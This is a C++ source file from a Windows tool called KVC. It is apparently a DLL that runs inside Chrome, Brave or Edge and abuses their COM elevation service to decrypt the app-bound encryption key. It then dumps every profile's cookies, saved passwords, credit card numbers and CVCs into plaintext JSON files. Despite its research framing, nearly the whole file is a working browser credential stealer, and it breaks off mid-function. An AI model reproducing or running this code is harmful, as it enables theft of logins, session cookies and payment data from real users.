/*******************************************************************************
  _  ____     ______ 
 | |/ /\ \   / / ___|
 | ' /  \ \ / / |    
 | . \   \ V /| |___ 
 |_|\_\   \_/  \____|

The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, 
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived 
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation 
of kernel-level primitives** for legitimate security research and penetration testing.

KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows 
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware 
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures 
that define these protections.

  -----------------------------------------------------------------------------
  Author : Marek Wesołowski
  Email  : marek@wesolowski.eu.org
  Phone  : +48 607 440 283 (Tel/WhatsApp)
  Date   : 04-09-2025

*******************************************************************************/

// kvc_crypt.cpp
#include <Windows.h>
#include <ShlObj.h>
#include <wrl/client.h>
#include <bcrypt.h>
#include <Wincrypt.h>

#include <fstream>
#include <sstream>
#include <iomanip>
#include <vector>
#include <tlhelp32.h>
#include <string>
#include <algorithm>
#include <memory>
#include <optional>
#include <stdexcept>
#include <filesystem>
#include <unordered_map>

#include "SelfLoader.h"
#include "winsqlite3.h"

#pragma comment(lib, "Crypt32.lib")
#pragma comment(lib, "bcrypt.lib")
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "shell32.lib")

#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

namespace fs = std::filesystem;

// Simplified string utilities for essential conversions only
namespace StringUtils
{
    // Convert filesystem path to API-compatible string
    inline std::string path_to_string(const fs::path& path)
    {
        return path.string();
    }
}

// COM Interface Protection Levels for Browser Elevation Services
enum class ProtectionLevel
{
    None = 0,
    PathValidationOld = 1,
    PathValidation = 2,
    Max = 3
};

// Chrome/Brave Base Elevator Interface - COM interop for browser security services
MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C")
IOriginalBaseElevator : public IUnknown
{
public:
    virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0;
    virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0;
    virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0;
};

// Edge Elevator Base Interface - placeholder methods for compatibility
MIDL_INTERFACE("E12B779C-CDB8-4F19-95A0-9CA19B31A8F6")
IEdgeElevatorBase_Placeholder : public IUnknown
{
public:
    virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod1_Unknown(void) = 0;
    virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod2_Unknown(void) = 0;
    virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod3_Unknown(void) = 0;
};

// Edge Intermediate Elevator Interface - extends base functionality
MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C")
IEdgeIntermediateElevator : public IEdgeElevatorBase_Placeholder
{
public:
    virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0;
    virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0;
    virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0;
};

// Edge Final Elevator Interface - complete implementation
MIDL_INTERFACE("C9C2B807-7731-4F34-81B7-44FF7779522B")
IEdgeElevatorFinal : public IEdgeIntermediateElevator {};

namespace SecurityComponents
{
    class PipeLogger;

    namespace Utils
    {
        // Get Local AppData folder path with comprehensive error handling
        fs::path GetLocalAppDataPath()
        {
            PWSTR path = nullptr;
            if (SUCCEEDED(SHGetKnownFolderPath(FOLDERID_LocalAppData, 0, NULL, &path)))
            {
                fs::path result = path;
                CoTaskMemFree(path);
                return result;
            }
            throw std::runtime_error("Failed to get Local AppData path.");
        }

        // Base64 decode utility for processing encrypted keys
        std::optional<std::vector<uint8_t>> Base64Decode(const std::string& input)
        {
            DWORD size = 0;
            if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &size, nullptr, nullptr))
                return std::nullopt;
            
            std::vector<uint8_t> data(size);
            if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, data.data(), &size, nullptr, nullptr))
                return std::nullopt;
            
            return data;
        }

        // Convert binary data to hex string for diagnostic logging
        std::string BytesToHexString(const std::vector<uint8_t>& bytes)
        {
            std::ostringstream oss;
            oss << std::hex << std::setfill('0');
            for (uint8_t byte : bytes)
                oss << std::setw(2) << static_cast<int>(byte);
            return oss.str();
        }

        // Escape JSON strings for safe output serialization
        std::string EscapeJson(const std::string& s)
        {
            std::ostringstream o;
            for (char c : s)
            {
                switch (c)
                {
                case '"': o << "\\\""; break;
                case '\\': o << "\\\\"; break;
                case '\b': o << "\\b"; break;
                case '\f': o << "\\f"; break;
                case '\n': o << "\\n"; break;
                case '\r': o << "\\r"; break;
                case '\t': o << "\\t"; break;
                default:
                    if ('\x00' <= c && c <= '\x1f')
                    {
                        o << "\\u" << std::hex << std::setw(4) << std::setfill('0') << static_cast<int>(c);
                    }
                    else
                    {
                        o << c;
                    }
                }
            }
            return o.str();
        }
    }

    namespace Browser
    {
        // Browser configuration structure for multi-platform support
        struct Config
        {
            std::string name;
            std::wstring processName;
            CLSID clsid;
            IID iid;
            fs::path userDataSubPath;
        };

        // Get comprehensive browser configurations mapping
        const std::unordered_map<std::string, Config>& GetConfigs()
        {
            static const std::unordered_map<std::string, Config> browser_configs = {
                {"chrome", {"Chrome", L"chrome.exe", 
                    {0x708860E0, 0xF641, 0x4611, {0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B}}, 
                    {0x463ABECF, 0x410D, 0x407F, {0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8}}, 
                    fs::path("Google") / "Chrome" / "User Data"}},
                {"brave", {"Brave", L"brave.exe", 
                    {0x576B31AF, 0x6369, 0x4B6B, {0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B}}, 
                    {0xF396861E, 0x0C8E, 0x4C71, {0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9}}, 
                    fs::path("BraveSoftware") / "Brave-Browser" / "User Data"}},
                {"edge", {"Edge", L"msedge.exe", 
                    {0x1FCBE96C, 0x1697, 0x43AF, {0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67}}, 
                    {0xC9C2B807, 0x7731, 0x4F34, {0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B}}, 
                    fs::path("Microsoft") / "Edge" / "User Data"}}
            };
            return browser_configs;
        }

        // Detect current browser process configuration from runtime environment
        Config GetConfigForCurrentProcess()
        {
            char exePath[MAX_PATH] = {0};
            GetModuleFileNameA(NULL, exePath, MAX_PATH);
            std::string processName = fs::path(exePath).filename().string();
            std::transform(processName.begin(), processName.end(), processName.begin(), ::tolower);

            const auto& configs = GetConfigs();
            if (processName == "chrome.exe") return configs.at("chrome");
            if (processName == "brave.exe") return configs.at("brave");
            if (processName == "msedge.exe") return configs.at("edge");

            throw std::runtime_error("Unsupported host process: " + processName);
        }
    }

    namespace Crypto
    {
        // Cryptographic constants for AES-GCM decryption operations
        constexpr size_t KEY_SIZE = 32;
        constexpr size_t GCM_IV_LENGTH = 12;
        constexpr size_t GCM_TAG_LENGTH = 16;
        const uint8_t KEY_PREFIX[] = {'A', 'P', 'P', 'B'};
        
        // Support for multiple encryption format versions
        const std::string V10_PREFIX = "v10";
        const std::string V20_PREFIX = "v20";

        // Simple RAII wrapper for BCrypt algorithm handle
        class BCryptAlgorithm
        {
        public:
            BCryptAlgorithm() { BCryptOpenAlgorithmProvider(&handle, BCRYPT_AES_ALGORITHM, nullptr, 0); }
            ~BCryptAlgorithm() { if (handle) BCryptCloseAlgorithmProvider(handle, 0); }
            operator BCRYPT_ALG_HANDLE() const { return handle; }
            bool IsValid() const { return handle != nullptr; }
        private:
            BCRYPT_ALG_HANDLE handle = nullptr;
        };

        // Simple RAII wrapper for BCrypt key handle
        class BCryptKey
        {
        public:
            BCryptKey(BCRYPT_ALG_HANDLE alg, const std::vector<uint8_t>& key)
            {
                BCryptGenerateSymmetricKey(alg, &handle, nullptr, 0, 
                                         const_cast<PUCHAR>(key.data()), static_cast<ULONG>(key.size()), 0);
            }
            ~BCryptKey() { if (handle) BCryptDestroyKey(handle); }
            operator BCRYPT_KEY_HANDLE() const { return handle; }
            bool IsValid() const { return handle != nullptr; }
        private:
            BCRYPT_KEY_HANDLE handle = nullptr;
        };

        // Decrypt GCM-encrypted data using AES-GCM algorithm (supports v10 and v20 formats)
        std::vector<uint8_t> DecryptGcm(const std::vector<uint8_t>& key, const std::vector<uint8_t>& blob)
        {
            // Auto-detect encryption format version
            std::string detectedPrefix;
            size_t prefixLength = 0;
            
            if (blob.size() >= 3)
            {
                if (memcmp(blob.data(), V10_PREFIX.c_str(), V10_PREFIX.length()) == 0)
                {
                    detectedPrefix = V10_PREFIX;
                    prefixLength = V10_PREFIX.length();
                }
                else if (memcmp(blob.data(), V20_PREFIX.c_str(), V20_PREFIX.length()) == 0)
                {
                    detectedPrefix = V20_PREFIX;  
                    prefixLength = V20_PREFIX.length();
                }
                else
                {
                    return {};
                }
            }
            else
            {
                return {};
            }

            const size_t GCM_OVERHEAD_LENGTH = prefixLength + GCM_IV_LENGTH + GCM_TAG_LENGTH;
            if (blob.size() < GCM_OVERHEAD_LENGTH)
                return {};

            // Initialize BCrypt AES-GCM cryptographic provider
            BCryptAlgorithm algorithm;
            if (!algorithm.IsValid())
                return {};

            BCryptSetProperty(algorithm, BCRYPT_CHAINING_MODE, 
                            reinterpret_cast<PUCHAR>(const_cast<wchar_t*>(BCRYPT_CHAIN_MODE_GCM)), 
                            sizeof(BCRYPT_CHAIN_MODE_GCM), 0);

            // Generate symmetric key from raw key material
            BCryptKey cryptoKey(algorithm, key);
            if (!cryptoKey.IsValid())
                return {};

            // Extract cryptographic components from blob
            const uint8_t* iv = blob.data() + prefixLength;
            const uint8_t* ct = iv + GCM_IV_LENGTH;
            const uint8_t* tag = blob.data() + (blob.size() - GCM_TAG_LENGTH);
            ULONG ct_len = static_cast<ULONG>(blob.size() - prefixLength - GCM_IV_LENGTH - GCM_TAG_LENGTH);

            // Configure GCM authenticated encryption parameters
            BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo;
            BCRYPT_INIT_AUTH_MODE_INFO(authInfo);
            authInfo.pbNonce = const_cast<PUCHAR>(iv);
            authInfo.cbNonce = GCM_IV_LENGTH;
            authInfo.pbTag = const_cast<PUCHAR>(tag);
            authInfo.cbTag = GCM_TAG_LENGTH;

            // Perform authenticated decryption with integrity verification
            std::vector<uint8_t> plain(ct_len > 0 ? ct_len : 1);
            ULONG outLen = 0;
            
            NTSTATUS status = BCryptDecrypt(cryptoKey, const_cast<PUCHAR>(ct), ct_len, &authInfo, 
                                          nullptr, 0, plain.data(), static_cast<ULONG>(plain.size()), &outLen, 0);
            if (!NT_SUCCESS(status))
                return {};

            plain.resize(outLen);
            return plain;
        }

        // Extract and validate encrypted master key from Local State configuration
        std::vector<uint8_t> GetEncryptedMasterKey(const fs::path& localStatePath)
        {
            std::ifstream f(localStatePath, std::ios::binary);
            if (!f)
                throw std::runtime_error("Could not open Local State file.");

            std::string content((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
            const std::string tag = "\"app_bound_encrypted_key\":\"";
            size_t pos = content.find(tag);
            if (pos == std::string::npos)
                throw std::runtime_error("app_bound_encrypted_key not found.");

            pos += tag.length();
            size_t end_pos = content.find('"', pos);
            if (end_pos == std::string::npos)
                throw std::runtime_error("Malformed app_bound_encrypted_key.");

            auto optDecoded = Utils::Base64Decode(content.substr(pos, end_pos - pos));
            if (!optDecoded)
                throw std::runtime_error("Base64 decoding of key failed.");

            auto& decodedData = *optDecoded;
            if (decodedData.size() < sizeof(KEY_PREFIX) || 
                memcmp(decodedData.data(), KEY_PREFIX, sizeof(KEY_PREFIX)) != 0)
            {
                throw std::runtime_error("Key prefix validation failed.");
            }
            return {decodedData.begin() + sizeof(KEY_PREFIX), decodedData.end()};
        }
    }

    namespace Data
    {
        constexpr size_t COOKIE_PLAINTEXT_HEADER_SIZE = 32;

        // Function pointer types for extraction operations
        typedef std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>>(*PreQuerySetupFunc)(sqlite3*);
        typedef std::optional<std::string>(*JsonFormatterFunc)(sqlite3_stmt*, const std::vector<uint8_t>&, void*);

        // Configuration structure for database extraction operations
        struct ExtractionConfig
        {
            fs::path dbRelativePath;
            std::string outputFileName;
            std::string sqlQuery;
            PreQuerySetupFunc preQuerySetup;
            JsonFormatterFunc jsonFormatter;
        };

        // Pre-query setup for payment cards - loads CVC data
        std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>> SetupPaymentCards(sqlite3* db)
        {
            auto cvcMap = std::make_shared<std::unordered_map<std::string, std::vector<uint8_t>>>();
            sqlite3_stmt* stmt = nullptr;
            if (sqlite3_prepare_v2(db, "SELECT guid, value_encrypted FROM local_stored_cvc;", -1, &stmt, nullptr) != SQLITE_OK)
                return cvcMap;
            
            while (sqlite3_step(stmt) == SQLITE_ROW)
            {
                const char* guid = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0));
                const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 1));
                if (guid && blob)
                    (*cvcMap)[guid] = {blob, blob + sqlite3_column_bytes(stmt, 1)};
            }
            sqlite3_finalize(stmt);
            return cvcMap;
        }

        // JSON formatter for cookies
        std::optional<std::string> FormatCookie(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state)
        {
            const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 6));
            if (!blob) return std::nullopt;
            
            auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 6)});
            if (plain.size() <= COOKIE_PLAINTEXT_HEADER_SIZE)
                return std::nullopt;

            const char* value_start = reinterpret_cast<const char*>(plain.data()) + COOKIE_PLAINTEXT_HEADER_SIZE;
            size_t value_size = plain.size() - COOKIE_PLAINTEXT_HEADER_SIZE;

            std::ostringstream json_entry;
            json_entry << "  {\"host\":\"" << Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0))) << "\""
                      << ",\"name\":\"" << Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1))) << "\""
                      << ",\"path\":\"" << Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 2))) << "\""
                      << ",\"value\":\"" << Utils::EscapeJson({value_start, value_size}) << "\""
                      << ",\"expires\":" << sqlite3_column_int64(stmt, 5)
                      << ",\"secure\":" << (sqlite3_column_int(stmt, 3) ? "true" : "false")
                      << ",\"httpOnly\":" << (sqlite3_column_int(stmt, 4) ? "true" : "false")
                      << "}";
            return json_entry.str();
        }

        // JSON formatter for passwords
        std::optional<std::string> FormatPassword(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state)
        {
            const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 2));
            if (!blob) return std::nullopt;
            
            auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 2)});
            return "  {\"origin\":\"" + Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0))) +
                  "\",\"username\":\"" + Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1))) +
                  "\",\"password\":\"" + Utils::EscapeJson({reinterpret_cast<char*>(plain.data()), plain.size()}) + "\"}";
        }

        // JSON formatter for payment cards
        std::optional<std::string> FormatPayment(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state)
        {
            auto cvcMap = reinterpret_cast<std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>>*>(state);
            std::string card_num_str, cvc_str;
            
            // Decrypt primary card number
            const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 4));
            if (blob)
            {
                auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 4)});
                card_num_str.assign(reinterpret_cast<char*>(plain.data()), plain.size());
            }
            
            // Decrypt associated CVC if available
            const char* guid = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0));
            if (guid && cvcMap && (*cvcMap)->count(guid))
            {
                auto plain = Crypto::DecryptGcm(key, (*cvcMap)->at(guid));
                cvc_str.assign(reinterpret_cast<char*>(plain.data()), plain.size());
            }
            
            return "  {\"name_on_card\":\"" + Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1))) +
                  "\",\"expiration_month\":" + std::to_string(sqlite3_column_int(stmt, 2)) +
                  ",\"expiration_year\":" + std::to_string(sqlite3_column_int(stmt, 3)) +
                  ",\"card_number\":\"" + Utils::EscapeJson(card_num_str) +
                  "\",\"cvc\":\"" + Utils::EscapeJson(cvc_str) + "\"}";
        }

        // Comprehensive extraction configurations for different browser data types
        const std::vector<ExtractionConfig>& GetExtractionConfigs()
        {
            static const std::vector<ExtractionConfig> configs = {
                // Browser cookie extraction configuration
                {fs::path("Network") / "Cookies", "cookies", 
                 "SELECT host_key, name, path, is_secure, is_httponly, expires_utc, encrypted_value FROM cookies;",
                 nullptr, FormatCookie},
                
                // Stored password extraction configuration
                {"Login Data", "passwords", 
                 "SELECT origin_url, username_value, password_value FROM logins;",
                 nullptr, FormatPassword},

                // Payment card information extraction configuration
                {"Web Data", "payments", 
                 "SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards;",
                 SetupPaymentCards, FormatPayment}
            };
            return configs;
        }
    }

    // Named pipe communication interface with orchestrator process
    class PipeLogger
    {
    public:
        explicit PipeLogger(LPCWSTR pipeName)
        {
            m_pipe = CreateFileW(pipeName, GENERIC_WRITE | GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr);
        }

        ~PipeLogger()
        {
            if (m_pipe != INVALID_HANDLE_VALUE)
            {
                Log("__DLL_PIPE_COMPLETION_SIGNAL__");
                FlushFileBuffers(m_pipe);
                CloseHandle(m_pipe);
            }
        }

        bool isValid() const noexcept { return m_pipe != INVALID_HANDLE_VALUE; }

        // Send diagnostic message to orchestrator
        void Log(const std::string& message)
        {
            if (isValid())
            {
                DWORD bytesWritten = 0;
                WriteFile(m_pipe, message.c_str(), static_cast<DWORD>(message.length() + 1), &bytesWritten, nullptr);
            }
        }

        HANDLE getHandle() const noexcept { return m_pipe; }

    private:
        HANDLE m_pipe = INVALID_HANDLE_VALUE;
    };

    // Browser configuration and path management
    class BrowserManager
    {
    public:
        BrowserManager() : m_config(Browser::GetConfigForCurrentProcess()) {}

        const Browser::Config& getConfig() const noexcept { return m_config; }
        
        // Resolve user data root directory for current browser configuration
        fs::path getUserDataRoot() const
        {
            return Utils::GetLocalAppDataPath() / m_config.userDataSubPath;
        }

    private:
        Browser::Config m_config;
    };

    // Master key decryption service using COM elevation interfaces
    class MasterKeyDecryptor
    {
    public:
        explicit MasterKeyDecryptor(PipeLogger& logger) : m_logger(logger)
        {
            if (FAILED(CoInitializeEx(NULL, COINIT_APARTMENTTHREADED)))
            {
                throw std::runtime_error("Failed to initialize COM library.");
            }
            m_comInitialized = true;
            m_logger.Log("[+] COM library initialized (APARTMENTTHREADED).");
        }

        ~MasterKeyDecryptor()
        {
            if (m_comInitialized)
            {
                CoUninitialize();
            }
        }

        // Decrypt master key using browser-specific COM elevation service
        std::vector<uint8_t> Decrypt(const Browser::Config& config, const fs::path& localStatePath)
        {
            m_logger.Log("[*] Reading Local State file: " + StringUtils::path_to_string(localStatePath));
            auto encryptedKeyBlob = Crypto::GetEncryptedMasterKey(localStatePath);

            // Prepare encrypted key as BSTR for COM interface
            BSTR bstrEncKey = SysAllocStringByteLen(reinterpret_cast<const char*>(encryptedKeyBlob.data()), 
                                                  static_cast<UINT>(encryptedKeyBlob.size()));
            if (!bstrEncKey)
                throw std::runtime_error("SysAllocStringByteLen for encrypted key failed.");

            BSTR bstrPlainKey = nullptr;
            HRESULT hr = E_FAIL;
            DWORD comErr = 0;

            m_logger.Log("[*] Attempting to decrypt master key via " + config.name + "'s COM server...");
            
            // Use Edge-specific COM elevation interface
            if (config.name == "Edge")
            {
                Microsoft::WRL::ComPtr<IEdgeElevatorFinal> elevator;
                hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator);
                if (SUCCEEDED(hr))
                {
                    CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, 
                                    COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, 
                                    RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING);
                    hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr);
                }
            }
            // Use Chrome/Brave COM elevation interface
            else
            {
                Microsoft::WRL::ComPtr<IOriginalBaseElevator> elevator;
                hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator);
                if (SUCCEEDED(hr))
                {
                    CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, 
                                    COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, 
                                    RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING);
                    hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr);
                }
            }

            // Cleanup and validate COM decryption operation result
            SysFreeString(bstrEncKey);
            
            if (FAILED(hr) || !bstrPlainKey || SysStringByteLen(bstrPlainKey) != Crypto::KEY_SIZE)
            {
                if (bstrPlainKey) SysFreeString(bstrPlainKey);
                std::ostringstream oss;
                oss << "IElevator->DecryptData failed. HRESULT: 0x" << std::hex << hr;
                throw std::runtime_error(oss.str());
            }

            // Extract raw AES key bytes from BSTR
            std::vector<uint8_t> aesKey(Crypto::KEY_SIZE);
            memcpy(aesKey.data(), bstrPlainKey, Crypto::KEY_SIZE);
            SysFreeString(bstrPlainKey);
            return aesKey;
        }

    private:
        PipeLogger& m_logger;
        bool m_comInitialized = false;
    };

    // Browser profile discovery and enumeration service
    class ProfileEnumerator
    {
    public:
        ProfileEnumerator(const fs::path& userDataRoot, PipeLogger& logger) 
            : m_userDataRoot(userDataRoot), m_logger(logger) {}

        // Discover all browser profiles containing extractable databases
        std::vector<fs::path> FindProfiles()
        {
            m_logger.Log("[*] Discovering browser profiles in: " + StringUtils::path_to_string(m_userDataRoot));
            std::vector<fs::path> profilePaths;

            // Check if directory contains extractable database files
            auto isProfileDirectory = [](const fs::path& path)
            {
                for (const auto& dataCfg : Data::GetExtractionConfigs())
                {
                    if (fs::exists(path / dataCfg.dbRelativePath))
                        return true;
                }
                return false;
            };

            // Check if root directory qualifies as a profile
            if (isProfileDirectory(m_userDataRoot))
            {
                profilePaths.push_back(m_userDataRoot);
            }

            // Scan for profile subdirectories with database content
            std::error_code ec;
            for (const auto& entry : fs::directory_iterator(m_userDataRoot, ec))
            {
                if (!ec && entry.is_directory() && isProfileDirectory(entry.path()))
                {
                    profilePaths.push_back(entry.path());
                }
            }

            if (ec)
            {
                m_logger.Log("[-] Filesystem ERROR during profile discovery: " + ec.message());
            }

            // Remove duplicates using sort + unique instead of std::set
            std::sort(profilePaths.begin(), profilePaths.end());
            profilePaths.erase(std::unique(profilePaths.begin(), profilePaths.end()), profilePaths.end());

            m_logger.Log("[+] Found " + std::to_string(profilePaths.size()) + " profile(s).");
            return profilePaths;
        }

    private:
        fs::path m_userDataRoot;
        PipeLogger& m_logger;
    };

    // Database content extraction service using SQLite interface
    class DataExtractor
    {
    public:
        DataExtractor(const fs::path& profilePath, const Data::ExtractionConfig& config,
                      const std::vector<uint8_t>& aesKey, PipeLogger& logger,
                      const fs::path& baseOutputPath, const std::string& browserName)
            : m_profilePath(profilePath), m_config(config), m_aesKey(aesKey),
              m_logger(logger), m_baseOutputPath(baseOutputPath), m_browserName(browserName) {}

        // Extract and decrypt data from browser database
        void Extract()
        {
            fs::path dbPath = m_profilePath / m_config.dbRelativePath;
            if (!fs::exists(dbPath))
                return;

            // Open database with nolock parameter for live extraction without file locking
            sqlite3* db = nullptr;
            std::string uriPath = "file:" + StringUtils::path_to_string(dbPath) + "?nolock=1";
            std::replace(uriPath.begin(), uriPath.end(), '\\', '/');

            if (sqlite3_open_v2(uriPath.c_str(), &db, SQLITE_OPEN_READONLY | SQLITE_OPEN_URI, nullptr) != SQLITE_OK)
            {
                m_logger.Log("[-] Failed to open database " + StringUtils::path_to_string(dbPath) + 
                           ": " + (db ? sqlite3_errmsg(db) : "N/A"));
                if (db) sqlite3_close_v2(db);
                return;
            }

            // Prepare SQL query for data extraction
            sqlite3_stmt* stmt = nullptr;
            if (sqlite3_prepare_v2(db, m_config.sqlQuery.c_str(), -1, &stmt, nullptr) != SQLITE_OK)
            {
                sqlite3_close_v2(db);
                return;
            }

            // Execute pre-query setup if needed (e.g., for payment card CVCs)
            void* preQueryState = nullptr;
            std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>> cvcMap;
            if (m_config.preQuerySetup)
            {
                cvcMap = m_config.preQuerySetup(db);
                preQueryState = &cvcMap;
            }

            // Extract and format data entries using custom formatters
            std::vector<std::string> jsonEntries;
            while (sqlite3_step(stmt) == SQLITE_ROW)
            {
                if (auto jsonEntry = m_config.jsonFormatter(stmt, m_aesKey, preQueryState))
                {
                    jsonEntries.push_back(*jsonEntry);
                }
            }

            sqlite3_finalize(stmt);
            sqlite3_close_v2(db);

            // Write extraction results to structured JSON output file
            if (!jsonEntries.empty())
            {
                fs::path outFilePath = m_baseOutputPath / m_browserName / m_profilePath.filename() / 
                                     (m_config.outputFileName + ".json");
                
                std::error_code ec;
                fs::create_directories(outFilePath.parent_path(), ec);
                if (ec)
                {
                    m_logger.Log("[-] Failed to create directory: " + StringUtils::path_to_string(outFilePath.parent_path()));
                    return;
                }

                std::ofstream out(outFilePath, std::ios::trunc);
                if (!out) return;

                out << "[\n";
                for (size_t i = 0; i < jsonEntries.size(); ++i)
                {
                    out << jsonEntries[i] << (i == jsonEntries.size() - 1 ? "" : ",\n");
                }
                out << "\n]\n";

                m_logger.Log("     [*] " + std::to_string(jsonEntries.size()) + " " + m_config.outputFileName + 
                           " extracted to " + StringUtils::path_to_string(outFilePath));
            }
        }

    private:
        fs::path m_profilePath;
        const Data::ExtractionConfig& m_config;
        const std::vector<uint8_t>& m_aesKey;
        PipeLogger& m_logger;
        fs::path m_baseOutputPath;
        std::string m_browserName;
    };

    // Main orchestrator for browser security analysis operations
    class SecurityOrchestrator
    {
    public:
        explicit SecurityOrchestrator(LPCWSTR lpcwstrPipeName) : m_logger(lpcwstrPipeName)
        {
            if (!m_logger.isValid())
            {
                throw std::runtime_error("Failed to connect to named pipe from orchestrator.");
            }
            ReadPipeParameters();
        }

        // Execute complete browser security analysis workflow
        void Run()
        {
            BrowserManager browserManager;
            const auto& browserConfig = browserManager.getConfig();
            m_logger.Log("[*] Security analysis process started for " + browserConfig.name);

            // Decrypt master key using COM elevation service
            std::vector<uint8_t> aesKey;
            {
                MasterKeyDecryptor keyDecryptor(m_logger);
                fs::path localStatePath = browserManager.getUserDataRoot() / "Local State";
                aesKey = keyDecryptor.Decrypt(browserConfig, localStatePath);
            }
            m_logger.Log("[+] Decrypted AES Key: " + Utils::BytesToHexString(aesKey));

            // Discover and process all browser profiles systematically
            ProfileEnumerator enumerator(browserManager.getUserDataRoot(), m_logger);
            auto profilePaths = enumerator.FindProfiles();

            for (const auto& profilePath : profilePaths)
            {
                m_logger.Log("[*] Processing profile: " + StringUtils::path_to_string(profilePath.filename()));
                
                // Extract each data type (cookies, passwords, payments) using specialized handlers
                for (const auto& dataConfig : Data::GetExtractionConfigs())
                {
                    DataExtractor extractor(profilePath, dataConfig, aesKey, m_logger, m_outputPath, browserConfig.name);
                    extractor.Extract();
                }
            }

            m_logger.Log("[*] All profiles processed. Security analysis process finished.");
        }

    private:
        // Read configuration parameters from orchestrator via named pipe
        void ReadPipeParameters()
        {
            char buffer[MAX_PATH + 1] = {0};
            DWORD bytesRead = 0;
            
            // Read verbose flag configuration
            ReadFile(m_logger.getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr);
            
            // Read output path configuration
            ReadFile(m_logger.getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr);
            buffer[bytesRead] = '\0';
            m_outputPath = buffer;
        }

        PipeLogger m_logger;
        fs::path m_outputPath;
    };
}

// Thread parameters for security module worker thread
struct ModuleThreadParams
{
    HMODULE hModule_dll;
    LPVOID lpPipeNamePointerFromOrchestrator;
};

// Main worker thread for browser security analysis operations
DWORD WINAPI SecurityModuleWorker(LPVOID lpParam)
{
    auto thread_params = std::unique_ptr<ModuleThreadParams>(static_cast<ModuleThreadParams*>(lpParam));

    try
    {
        SecurityComponents::SecurityOrchestrator orchestrator(static_cast<LPCWSTR>(thread_params->lpPipeNamePointerFromOrchestrator));
